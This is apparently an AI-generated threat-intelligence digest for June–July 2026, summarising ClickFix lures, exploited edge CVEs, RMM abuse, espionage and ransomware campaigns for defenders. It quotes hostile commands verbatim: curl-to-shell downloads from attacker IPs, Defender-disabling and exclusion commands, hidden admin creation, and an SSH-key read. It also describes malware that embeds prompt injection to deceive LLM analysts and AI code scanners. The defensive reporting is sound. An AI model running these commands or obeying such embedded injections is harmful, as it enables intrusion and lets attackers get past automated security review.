Threat Intel Digest
June 13–July 10, 2026
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Treat any "paste this command to verify you're human" prompt as hostile malware delivery.
ClickFix drove ten-plus campaigns delivering everything from infostealers to Rhysida ransomware, even abusing
claude.aishare links. Detect the behavior, not the domains: alert onpowershell -c "iex(irm ...)",mshta, andcurl | cmdlaunched after a browser session. No legitimate CAPTCHA asks users to open a terminal. -
Patch the nine actively exploited edge CVEs now, then hunt for webshells and rogue admins.
Prioritize PAN-OS
CVE-2026-0257, CitrixBleed 2 (CVE-2025-5777), Cisco SD-WAN Manager zero-days, PTC WindchillCVE-2026-12569, SonicWall SSL-VPN, Langflow, phpBB, and Oracle PeopleSoft — several need no credentials. Patching closes the door; also sweep for JSP webshells (/Windchill/login/*.jsp) and local admin accounts created post-exploit. -
Allowlist sanctioned RMM products and alert on installation of any other remote-management agent.
Attackers deployed ManageEngine Endpoint Central (WhatsApp-delivered VBScript), NinjaOne, MeshCentral, Remote Utilities, and SuperOps as their implants. Unsanctioned RMM software is the detectable artifact — flag it especially when spawned from script hosts (
wscript/cscript/mshta) or delivered over a messaging app. -
Deploy phishing-resistant MFA and restrict OAuth device-code flows to managed devices.
PhaaS kits like ARToken now steal tokens, not passwords, via device-code phishing and Primary Refresh Token persistence; ToddyCat's Umbrij grabs Google OAuth tokens through Chrome remote debugging. Use FIDO2/passkeys, gate device-code grants with Conditional Access, and alert on browsers launched with remote-debugging flags.
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Never let an AI verdict be the sole gate on samples or dependencies.
Gaslight (DPRK macOS stealer) embeds prompt injection to fool LLM analysts; Shai-Hulud evades AI code scanners and poisons
.claude/,.cursor/,.vscode/, and.gemini/configs; ClickFix lures rodeclaude.aishare links. Keep deterministic controls — hashing, sandboxing, human review — on any adversarial input. -
Enforce MFA on every RDP and VPN entry point; verify offline, immutable backups.
The Gentlemen RaaS kills Defender via vulnerable drivers, Sinobi rides SonicWall VPN flaws, Prinz Eugen enters through RDP/RMM, DragonForce follows CitrixBleed 2, and Kairos took $1M via pure data-theft extortion. Alert on
net user /addplusnet localgroup administratorssequences and signed-but-vulnerable driver loads. -
Pin and vet dependency versions; run installs and builds in egress-restricted sandboxes.
A trojanized
@injectivelabs/sdk-tsexfiltrated wallet keys, malicious PyPI Pyrogram look-alikes carried Telegram backdoors, and Shai-Hulud jumped to PyPI abusing OIDC trusted publishing. Monitor outbound calls from build steps and IDE tasks, and watch for unexpected writes to.github/workflows/and.claude/settings.json.
- Top Story: ClickFix Becomes the Universal Delivery Layer
- The Edge Under Siege: A Nine-CVE Exploitation Wave
- RMM Is the New Implant: WhatsApp, ManageEngine, and Friends
- State-Nexus Espionage: Turla, Ghostwriter, Cavern Manticore, and ToddyCat
- AI in the Crosshairs: Weaponized as Lure, Targeted by Prompt Injection
- Ransomware & Extortion: The Gentlemen, Sinobi, Prinz Eugen, and a $1M Payment
- Also Worth Tracking: Supply Chain, Gaming, and Children's Platforms
ClickFix Becomes the Universal Delivery Layer
ClickFix — social engineering that convinces a user to run an attacker-supplied command under the guise of a CAPTCHA, a document "fix," or a system update — was the most frequently observed initial-access technique of the period. What makes it dangerous is its universality: the same lure funnels into wildly different payloads, and it sidesteps email and web filtering because the malicious action is the user's own keystrokes. The most consequential single report showed three parallel ClickFix chains ending in a Potemkin loader reaching a domain controller, a BabaDeda-dropped .NET stealer, and a Lorem Ipsum chain terminating in Rhysida ransomware.
One Technique, Three Endings: RAT-to-DC, .NET Stealer, and Rhysida Ransomware
A cluster of ClickFix campaigns (80 IOCs, alongside a related 73-IOC Huntress case) pushed malicious paste commands leading to the Potemkin loader, RMMProject RAT, and EtherRAT — with hands-on-keyboard activity reaching a domain controller. The chain fetches payloads from hardcoded IP:port hosts such as 77[.]110[.]122[.]58:23205 and stages a Cloudflare-tunnel svchost.exe for C2, disables Defender (Stop-Service WinDefend -Force; sc.exe config WinDefend start= disabled), and persists via HKCU\...\Run\RunSearch. Lure domains follow a throwaway three-word .xyz pattern (rule-bead-dust[.]xyz, uglyshop-mare[.]xyz).
77[.]110[.]122[.]58ClickFix Malvertising Hides Behind Google Ads and claude.ai Share Links
Trend Micro documented threat actors abusing Google Ads and claude.ai's shared-chat feature to host ClickFix social engineering that installs the MacSync infostealer (59 IOCs). Victims arriving from a poisoned ad are routed through legitimate-looking claude.ai/share/... URLs and GitLab-Pages lookalike domains (claude-code-app[.]gitlab[.]io, mac-clean-storage[.]gitlab[.]io) before a loader.sh is fetched from loserrq0j1sha8[.]com. Abusing a trusted AI-platform domain to launder the lure is a notable evasion — the initial hop passes reputation checks.
claude.ai/share abuse · GitLab-Pages lookalikes · MacSync infostealer via loader.shFake CAPTCHA Delivers an AI-Assisted PowerShell Banking-Fraud Toolkit
Elastic tracked REF6045 using ClickFix fake-CAPTCHA pages to deliver SCMBANKER (115 IOCs), an operator-assisted PowerShell toolkit for real-time banking fraud against Mexican institutions. The lure command — cmd /c curl -k http://68[.]211[.]161[.]46/validation.txt | cmd.exe disguised as a "Cloudflare / Google Verificación Segura" check — stages run.vbs and Remote Utilities under C:\Users\Public\ and beacons to DuckDNS and *[.]online C2. Fake-verification pages remain the connective tissue: block the observed hosts, but detect the paste-to-shell behavior.
68[.]211[.]161[.]46, *[.]duckdns[.]orgClickFix has quietly become the phishing of 2026: a technique-level primitive that every tier of adversary now reuses because it defeats content inspection by outsourcing execution to the victim. Additional campaigns this period used it to drop SmartRAT against Brazilian bank customers, ResiLoader/StealC/Remus behind fake Google and Cloudflare pages (90 IOCs), and AppleScript-led intrusions on macOS attributed to DPRK. The defensive center of gravity must shift accordingly: user education that no legitimate site asks you to open PowerShell or the Run dialog, plus high-fidelity behavioral detections for clipboard-to-shell execution — iex(irm ...), mshta fetching remote .hta, and certutil -urlcache downloads spawned in the seconds after browser activity. Domains and IPs here are disposable; the execution pattern is the durable indicator.
The Edge Under Siege: A Nine-CVE Exploitation Wave
Alongside social engineering, the period was defined by heavy, active exploitation of internet-facing appliances and applications. Several of the flaws are pre-authentication, meaning attackers need no credentials — only an unpatched, exposed device. The pattern is consistent: exploit the edge, drop a webshell or create a rogue admin, then pivot to ransomware or data theft.
| Product / CVE | Impact | Observed Use | Hunt For |
|---|---|---|---|
PAN-OS — CVE-2026-0257 |
Authentication bypass | Unauthorized VPN connections (Unit 42) | Anomalous GlobalProtect sessions; scanner IPs (146[.]19[.]216[.]119/120/125) |
Citrix NetScaler — CVE-2025-5777 (CitrixBleed 2) |
Session-token disclosure | IABs → DragonForce ransomware, 7-step playbook | Rogue local admins; relay.*[.]top/[.]digital; eng.exe, legal.exe |
Cisco Catalyst SD-WAN Manager — CVE-2026-20245/20127/20182 |
Zero-day, tenant/credential tamper | Malicious tenant upload, shadow files (Mandiant) | evil_tenant.csv; /home/admin/.orig_* state files |
PTC Windchill PDMLink / FlexPLM — CVE-2026-12569 |
Unauthenticated RCE | Persistent JSP webshells, data theft | /Windchill/login/*.jsp webshells; 5[.]180[.]41[.]35 |
SonicWall SSL-VPN — CVE-2024-53704/40766 |
Auth bypass / access control | Sinobi ransomware initial access | EDR-disable via sc config; rclone-ssh.conf exfil |
Langflow — CVE-2026-33017 |
Code injection | XMRig cryptominer, cron/bash persistence | curl ...83[.]142[.]209[.]214:8080/isp.sh | sh; /var/tmp/.xlamb/ |
phpBB — CVE-2026-48611 |
Authentication bypass → RCE | Log in as any user on forum software | Unexpected admin logins; new ACP sessions |
Oracle PeopleSoft — CVE-2026-35273 |
Exploitation for access | ShinyHunters (UNC6240) → MeshCentral, extortion | meshagent*-azure-ops.exe; azurenetfiles[.]net |
CitrixBleed 2 Weaponized Into a Repeatable Seven-Step Ransomware Playbook
Huntress documented Initial Access Brokers exploiting CitrixBleed 2 (CVE-2025-5777, with CVE-2023-4966 and CVE-2026-4368) to hijack NetScaler sessions, escalate, and hand off to DragonForce ransomware (30 IOCs). The playbook is mechanical and therefore detectable: create a hidden admin (net user <ctx-account> <pw> /add → net localgroup Administrators ... /add), gpupdate /force, then stage tools (eng.exe, legal.exe, us.msi) and relay through relay.dltsolutions[.]top / relay.eurofin[.]digital. Patching NetScaler is necessary but insufficient — hunt for the rogue accounts and relay domains on any previously exposed device.
CVE-2025-5777 → session hijack → DragonForce · Hunt: hidden admin creation + relay.* domainsUAT-7810 Builds Operational Relay Box Networks From Vulnerable Edge Gear
Cisco Talos tracked UAT-7810 expanding ORB (Operational Relay Box) networks with new malware families — LONGLEASH, DOGLEASH, JARLEASH — by exploiting known flaws in networking devices (CVE-2020-22653/22658, CVE-2023-25717, CVE-2025-2492, and Cisco ASA CVE-2025-20333/20362), 106 IOCs including 77 hashes. ORB networks turn compromised edge devices into disposable relay infrastructure that launders nation-state traffic and frustrates attribution — a reminder that an unpatched router or firewall isn't just your risk, it becomes someone else's attack platform.
217[.]15[.]160[.]247, 194[.]233[.]92[.]26The volume and pre-auth nature of this exploitation wave means an exposed, unpatched appliance is now the fastest path to full compromise — and the fix is not just patching, it's post-patch hunting. Every one of these cases layered a persistence mechanism on top of the initial exploit: a JSP webshell on Windchill, a rogue admin after CitrixBleed 2, shadow state files on Cisco SD-WAN Manager, an XMRig miner and cron job after Langflow. Prioritize patching by exposure and exploit status (the CVEs above are all confirmed in-the-wild), reduce attack surface by removing management interfaces from the public internet, and after remediating any exposed device, actively hunt for the implant the exploit may have already delivered rather than assuming the update evicted it.
RMM Is the New Implant: WhatsApp, ManageEngine, and Friends
A clear tradecraft trend this period: rather than deploying custom backdoors, operators increasingly install legitimate remote monitoring and management (RMM) software as their persistence and control layer. RMM agents are signed, allowlisted in many environments, and give full hands-on-keyboard access — while blending into the noise of legitimate IT operations.
WhatsApp-Delivered VBScript Turns Victims Into Remotely Managed Hosts
The period's largest report (144 IOCs) detailed a campaign distributing obfuscated VBScript files via WhatsApp, disguised as invoices and statements (Financial Reports.vbs, Outstanding Payment List.vbs), that bypass UAC and silently install ManageEngine Endpoint Central RMM for persistent remote access. Infrastructure clusters on 202[.]61[.]160[.]0/24 and lookalike domains (invoice[.]msopsa[.]top, temu[.]baskwms[.]top). Because the endpoint agent is legitimate software, prevention relies on detecting the unexpected installation from a script host and a messaging-app delivery path.
202[.]61[.]160[.]x · UAC bypassShinyHunters Rides Oracle PeopleSoft to MeshCentral-Based Extortion
ShinyHunters (UNC6240) exploited Oracle PeopleSoft CVE-2026-35273 to compromise education-sector orgs, deploying MeshCentral agents (meshagent64-azure-ops.exe) and running fan-out lateral-movement scripts before extortion (26 IOCs). The MeshCentral C2 hides behind an Azure-themed domain, wss://azurenetfiles[.]net:443/agent.ashx, and data is staged with zstd compression (exfil.tar.zst). Other RMM abuse this period included NinjaOne pushed via fake Brazilian fiscal documents and SuperOps deployed by vishing operators — the same pattern across very different actors.
CVE-2026-35273 → MeshCentral · azurenetfiles[.]net · Plus NinjaOne, SuperOps abuseThe move to RMM-as-implant is a direct response to improved EDR: a signed, business-legitimate remote-access tool is far harder to justify blocking than a novel binary. The countermeasure is policy, not signatures. Maintain an explicit allowlist of the RMM products your organization actually uses, and alert on the presence or installation of any other — ManageEngine/MeshAgent/NinjaOne/Atera/PDQ/SuperOps/Remote Utilities — with especially high priority when the agent is installed by wscript, cscript, mshta, or msiexec pulling from a remote URL, or when the delivery vector is a messaging app or a "fiscal document" lure. This single control would have caught a large fraction of the intrusions in this digest.
State-Nexus Espionage: Turla, Ghostwriter, Cavern Manticore, and ToddyCat
Nation-state reporting stayed heavy, with Russia-, Iran-, China-, and DPRK-nexus activity all represented. The tradecraft leaned on trusted-service C2, OAuth-token theft, and long-dwell backdoors — espionage optimized to evade reputation-based controls.
| Actor / Campaign | Nexus | Targeting | Notable Tradecraft |
|---|---|---|---|
| Turla (Secret Blizzard) — STOCKSTAY / Kazuar | Russia | Ukraine, Europe, gov/military | .NET backdoor, WebSocket C2 disguised as crypto-exchange feeds, environmental keying, infra hijacking |
| UNC1151 (Ghostwriter) | Belarus/Russia | Belarusian politician, Ukrainian portals | Credential phishing via compromised sites; WebSocket relays to bypass MFA (wss://...cc[.]cd/ws) |
| Cavern Manticore | Iran | Israeli organizations | Modular .NET C2; DLL sideloading via WinDirStat.exe; anti-analysis |
| ToddyCat — Umbrij | China | Google Workspace accounts | Chrome remote-debugging to steal OAuth tokens; DevTools policy tamper |
| UNC6508 — INFINITERED | China (PRC) | N. American medical/academic/military research (REDCap) | REDCap exploitation; exfil via Google Workspace content-compliance rules |
| Armored Likho — BusySnake | — | Government, energy | Python infostealer; SSH reverse-tunnel exfil; WindowsHelper persistence |
| CL-STA-1062 — TinyRCT | China (Chinese-speaking) | Southeast Asia gov & energy | C# backdoor; webshells; tunneling; sideloading via chrome_setup.exe |
| Gaslight (Rust macOS stealer) | DPRK | macOS users | Prompt-injection anti-analysis; Telegram C2; keychain/browser theft |
Turla's STOCKSTAY Hides WebSocket C2 Among Crypto-Exchange Traffic
Google/Mandiant analyzed STOCKSTAY, a .NET backdoor Turla deployed against Ukrainian and European targets (109 IOCs, plus a corroborating 36-IOC report). It uses WebSocket C2 and environmental keying, and blends malicious traffic with legitimate exchange endpoints (wss://ws-api.binance[.]com, wss://stream.bybit[.]com) so a lone rogue socket (wss://wool-basalt-clock[.]glitch[.]me/ws) hides in the noise. Delivery abused WinRAR CVE-2025-8088 and a fresh CVE-2026-20245. The overlap with the KAZUAR toolkit reinforces attribution and gives defenders shared hunting ground.
ToddyCat Steals Google Tokens by Launching Chrome in Debug Mode
Kaspersky detailed ToddyCat's Umbrij tool, which steals OAuth tokens from Google accounts by launching Chrome headless with --remote-debugging-port against a copied user-data directory, then driving the OAuth consent flow programmatically for Gmail, Drive, Calendar, and Directory scopes (37 IOCs). It also tampers with the DeveloperToolsAvailability Chrome policy. This is token theft that never touches a password or triggers MFA — detect it by alerting on any browser process spawned with remote-debugging flags or an unusual --user-data-dir, which has essentially no legitimate use on an endpoint.
--remote-debugging-port OAuth theft · BDSubWiz.exe, GoogleServices.dll sideloadAI in the Crosshairs: Weaponized as Lure, Targeted by Prompt Injection
A distinct and fast-emerging theme this period: adversaries treating AI both as infrastructure to abuse and as an analysis system to defeat. Four separate techniques showed up — and together they argue that AI-assisted security tooling now has its own adversarial threat model.
Gaslight macOS Stealer Embeds a Prompt Injection to Fool AI Triage
Gaslight is a Rust macOS stealer (DPRK-linked, 6 IOCs) that embeds a fake "system message" prompt-injection string in its own body, crafted to convince an LLM-based malware analyst that the sample is benign — turning prompt injection against the analyst rather than the sandbox. It exfiltrates keychain and browser data over Telegram (api.telegram[.]org). This is the clearest signal yet that automated, AI-driven triage can be gamed by content designed for the model, and that a model's "benign" verdict on a hostile file must never be the only gate.
Shai-Hulud Worm Evades AI Code Scanners and Poisons IDE Configs
The self-propagating Shai-Hulud supply-chain campaign evolved (24 IOCs): it now targets PyPI, abuses OIDC trusted publishing, bypasses SLSA provenance, uses prompt injection to evade AI scanners, and extends into IDE configuration files — writing to .claude/settings.json, .cursor/rules/setup.mdc, .vscode/tasks.json, and .gemini/settings.json. Malicious artifacts include bun_environment.js and a .github/workflows/discussion.yaml. The worm's jump into developer-tool config paths means code review and dependency pinning must now cover the files that configure your AI coding assistants, not just package.json.
.claude/.cursor/.vscode/.geminiTaken together, these cases mark the point where AI systems became a named part of the attack surface — both a channel to abuse and a control to subvert. Add the malvertising campaign that laundered ClickFix lures through claude.ai/share links (Section 01) and SCMBANKER's "AI-assisted" fraud toolkit, and the pattern is unmistakable. The defensive implications are concrete: (1) never let an AI verdict be the sole gate on a sample, a PR, or a dependency — keep deterministic controls (hashing, sandboxing, human review) authoritative; (2) treat model output on attacker-controlled input as untrusted and sanitize/segment it; and (3) bring AI-assistant config files (.claude/, .cursor/, .gemini/) under the same change-control and monitoring as CI workflows. Prompt injection is no longer a chatbot curiosity — it is being used operationally to defeat security automation.
Ransomware & Extortion: The Gentlemen, Sinobi, Prinz Eugen, and a $1M Payment
The ransomware and data-extortion economy stayed prolific, with a fast-scaling RaaS brand, VPN- and RDP-driven newcomers, and a sobering case study of a seven-figure payment by a public-sector victim. The common entry points — exposed VPNs, RDP, and RMM — tie this section directly to the edge-exploitation and RMM-abuse trends above.
The Gentlemen RaaS Brings BYOVD Defender-Killing and Go/C Ransomware
Kaspersky's Securelist profiled The Gentlemen RaaS (123 IOCs), which pairs custom backdoors and vulnerable-driver (BYOVD) abuse — ProcessMonitorDriver.sys, gamedriverx64.sys, biontdrv.sys, inpoutx64.sys — with Go/C-based ransomware and GPO-based deployment (deploy_gpo.ps1). Defense impairment is aggressive and scriptable: Set-MpPreference -DisableRealtimeMonitoring $true, controlled-folder-access disabling, and broad Add-MpPreference -ExclusionPath 'C:\'. Alert on signed-but-vulnerable driver loads and on Defender-policy tampering as pre-encryption signals.
81[.]177[.]215[.]15:9443Sinobi Rides SonicWall VPNs; Prinz Eugen Enters via RDP and RMM
Sinobi (34 IOCs) is a fast-rising mid-market operator exploiting SonicWall SSL-VPN flaws (CVE-2024-53704/40766), disabling EDR via sc config <svc> start= disabled, and exfiltrating with rclone (rclone-ssh.conf) before double extortion from a Tor leak site. Prinz Eugen (17 IOCs) is a new Go-based double-extortion ransomware entering through compromised RDP and RMM, creating net user admin germania /add and staging from 212[.]80[.]7[.]74. Both underscore that MFA on VPN/RDP and alerting on rogue-admin creation are the highest-leverage controls.
Kairos Extracts a $1M Payment From a U.S. Government Entity
A Ransom-ISAC case study (28 IOCs) traced a successful $1 million ransom payment by a U.S. government entity to Kairos, a data-theft extortion actor, complete with negotiation transcript and payment-flow tracing. Exfiltration used temp.sh and a .rar archive; contact ran through kairossup@onionmail[.]com and multiple .onion negotiation sites. Pure data-theft extortion (no encryption) sidesteps backup-based recovery entirely — the only defenses are preventing the exfiltration and reducing the sensitive data at rest that makes a payment feel necessary.
temp.sh · kairossup@onionmail[.]comThis crop of ransomware confirms two durable realities: initial access is overwhelmingly through exposed VPN/RDP/RMM, and defense impairment now precedes encryption in nearly every case. DragonForce (via CitrixBleed 2), Sinobi (SonicWall), Prinz Eugen (RDP/RMM), and The Gentlemen (BYOVD) all reached for the same pre-encryption playbook: create a rogue admin, disable or exclude the EDR, then move laterally. That gives defenders a consistent detection window. Enforce phishing-resistant MFA on every remote-access path; alert with high priority on the net user /add → net localgroup administrators /add sequence, on Set-MpPreference/sc config tampering, and on vulnerable-driver loads; and, because data-theft-only extortion (Kairos, Insomnia) bypasses backups, invest equally in egress monitoring and data minimization.
Also Worth Tracking: Supply Chain, Gaming, and Children's Platforms
Poisoned @injectivelabs/sdk-ts and "Operation Navy Ghost" PyPI Backdoors
A malicious release of @injectivelabs/sdk-ts v1.20.21 (9 IOCs) exfiltrated wallet mnemonics and private keys via fake telemetry to testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, hidden in dist/ build artifacts. Separately, Operation Navy Ghost (37 IOCs) planted Telegram-command backdoors in fake Pyrogram PyPI look-alikes (vlifegram, kelragram, pyrogram-navy) whose secret.py accepts commands like /asi cat /home/user/.ssh/id_rsa. Pin dependency versions, vet new/typo-adjacent packages, and run installs in egress-restricted sandboxes.
Steam Workshop as a Malware Hub; Phishing Factories Aimed at Kids
Two reports (55 and 42 IOCs) detailed threat actors abusing Steam Workshop's Wallpaper Engine to hide executables (Synaptics.exe, ._cache_GAME1.exe) inside wallpapers to hijack accounts and drop backdoors/miners. Censys mapped 67+ domains of offerwall and phishing infrastructure targeting children playing Roblox and Minecraft (rbx[.]how, roblox[.]et, r.oblox.com[.]et), plus fake FACEIT verification stealing Steam accounts and a World Cup free-stream scam wave. Consumer and family-device risk is worth a note in security-awareness programs, especially for BYOD households.
Across four weeks and 83 reports, the message is that adversaries have industrialized their reliance on trust — trust in the user (ClickFix), in signed software (RMM), in the package registry (supply chain), and now in AI verdicts (prompt injection). Almost none of the top intrusions this period required a novel exploit against a hardened target; they required an unpatched edge, a plausible lure, or a legitimate tool bent to a malicious purpose. The controls that map to this reality are behavioral and policy-based: detect clipboard-to-shell execution, allowlist RMM, patch and then hunt exposed appliances, keep deterministic gates ahead of AI triage, and enforce phishing-resistant MFA everywhere. The indicators in these reports are worth ingesting, but the durable defense is in the patterns.
Analyst Assessment: June 13–July 10 in Context
The defining shift of this four-week window is that initial access has decisively moved to two channels — social engineering the user and exploiting the unpatched edge — while custom malware has become optional. ClickFix appeared in at least ten campaigns spanning infostealers to Rhysida ransomware, and a parallel wave of pre-authentication CVEs (PAN-OS, CitrixBleed 2, Cisco SD-WAN Manager, PTC Windchill, SonicWall, Langflow, phpBB, PeopleSoft) gave attackers credential-free entry to exposed appliances. For defenders, this argues for rebalancing effort toward user-behavior detection and edge exposure management, because that is where the intrusions are actually starting.
Persistence and control have migrated to trusted software, which is the natural adversary response to better endpoint detection. The rise of RMM-as-implant — ManageEngine over WhatsApp, MeshCentral behind PeopleSoft, NinjaOne behind fake invoices — means the most valuable single detection this period may be a strict RMM allowlist. The same logic runs through the ransomware crop, where DragonForce, Sinobi, Prinz Eugen, and The Gentlemen all disabled EDR and created rogue admins before encrypting. Defense impairment reliably precedes payload, and that sequence is the detection opportunity.
The most forward-looking signal is the operational use of AI as both weapon and target. Gaslight's prompt injection against LLM analysts, Shai-Hulud's AI-scanner evasion and poisoning of AI-assistant config files, and the abuse of claude.ai share links to host lures together mark AI systems as a named part of the attack surface. Teams adopting AI-assisted security tooling should build an adversarial threat model for it now — keep deterministic controls authoritative, treat model output on hostile input as untrusted, and bring AI-config files under change control — rather than discovering these failure modes in an incident.
What to do now: (1) Deploy behavioral detection for clipboard-to-shell execution (iex(irm ...), mshta remote .hta, certutil -urlcache) and train users that no CAPTCHA asks you to open a terminal. (2) Patch and then hunt the nine exploited edge/app CVEs above — prioritize pre-auth flaws and check for webshells and rogue admins on any exposed device. (3) Allowlist sanctioned RMM tools and alert on all others, especially script-host or messaging-app delivery. (4) Move M365/Google identity to phishing-resistant MFA, constrain OAuth device-code grants, and alert on browsers launched with remote-debugging flags. (5) Keep deterministic controls ahead of any AI-assisted triage, and monitor .claude/.cursor/.gemini/CI config paths for tampering. (6) Enforce MFA on all VPN/RDP, alert on net user /add → net localgroup administrators and Defender/vulnerable-driver tampering, and verify offline, immutable, tested backups. (7) Pin and sandbox dependencies across npm and PyPI, and watch build-time outbound network calls.
Sources
- Threat Intelligence (TA2026176) — ClickFix Campaigns Deliver Potemkin, BabaDeda, and Lorem Ipsum → Rhysida
- Huntress — Potemkin Loader / RMMProject: A ClickFix Attack Leads to EtherRAT
- Trend Micro — claude.ai Shared Chat Abused in ClickFix Malvertising (MacSync)
- Elastic Security Labs — REF6045: SCMBANKER Mexican Banking Fraud via ClickFix
- Malwarebytes — Fake Google and Cloudflare Verification Pages Spread Multiple Malware Families
- Palo Alto Networks Unit 42 — Active Exploitation of PAN-OS CVE-2026-0257
- Huntress — CitrixBleed 2 (CVE-2025-5777) Weaponized by IABs for DragonForce
- Google Threat Intelligence / Mandiant — Zero-Day Exploitation of Cisco Catalyst SD-WAN Manager
- Threat Intelligence (TA2026180) — Active Exploitation of PTC Windchill PDMLink / FlexPLM CVE-2026-12569
- Trend Micro — From Langflow to Monero: Inside the CVE-2026-33017 Cryptominer Campaign
- Cisco Talos — UAT-7810 Builds ORB Networks With LONGLEASH, DOGLEASH, and JARLEASH
- Securelist / WhatsApp RMM Campaign — WhatsApp VBScript Campaign Installs ManageEngine Endpoint Central
- Google Threat Intelligence — ShinyHunters (UNC6240) Targets Education Sector via Oracle PeopleSoft (MeshCentral)
- Google Cloud / Mandiant — STOCKSTAY: Turla Intelligence Gathering Against Ukraine and Europe
- Censys — UNC1151 (Ghostwriter) Phishing Campaign Targeting Belarus and Ukraine
- Check Point Research — Cavern Manticore: Exposing an Iran-Linked Modular C2 Framework
- Kaspersky Securelist — ToddyCat APT: The Umbrij Tool and Google OAuth Token Theft
- Kaspersky Securelist — Armored Likho APT With BusySnake Stealer
- Threat Intelligence (TA2026181) — CL-STA-1062 Deploys TinyRCT Backdoor Against Southeast Asian Government and Energy
- Threat Intelligence (TA2026179) — Gaslight: A Rust macOS Stealer That Turns Prompt Injection on the Analyst
- Zscaler ThreatLabz — Shai-Hulud Campaign Evolution: PyPI, AI-Scanner Evasion, and IDE-Config Poisoning
- Kaspersky Securelist — The Gentlemen Ransomware-as-a-Service
- Threat Advisory / Sinobi — Sinobi Ransomware: A Fast-Rising Mid-Market Threat Exploiting SonicWall SSL-VPN
- Threat Advisory / Prinz Eugen — Prinz Eugen: A New Go-Based Ransomware Using Out-of-Band Extortion
- Ransom-ISAC — Kairos Ransomware Data-Extortion Case Study ($1M U.S. Government Payment)
- Threat Advisory / Insomnia — Insomnia Data-Theft Extortion Operation Targeting US Healthcare
- Aikido Security — Compromised @injectivelabs/sdk-ts Exfiltrates Wallet Keys
- Checkmarx — Operation Navy Ghost: Telegram-Backdoored Pyrogram PyPI Look-alikes
- Censys — Roblox, Minecraft, and the Insidious Internet for Children
- Darktrace — From Click to Command: AppleScript-Led macOS Intrusions (DPRK)
- Cisco Talos — ARToken: Inside an EvilTokens Affiliate Panel Targeting Microsoft 365
- Google Threat Intelligence — UNC6508: China-Nexus Espionage Against North American Research via REDCap (INFINITERED)
This digest was generated with Claude by Anthropic, based on source reporting from the publications listed above and analysis of 83 IOC submissions to iocget.com between June 13 and July 10, 2026.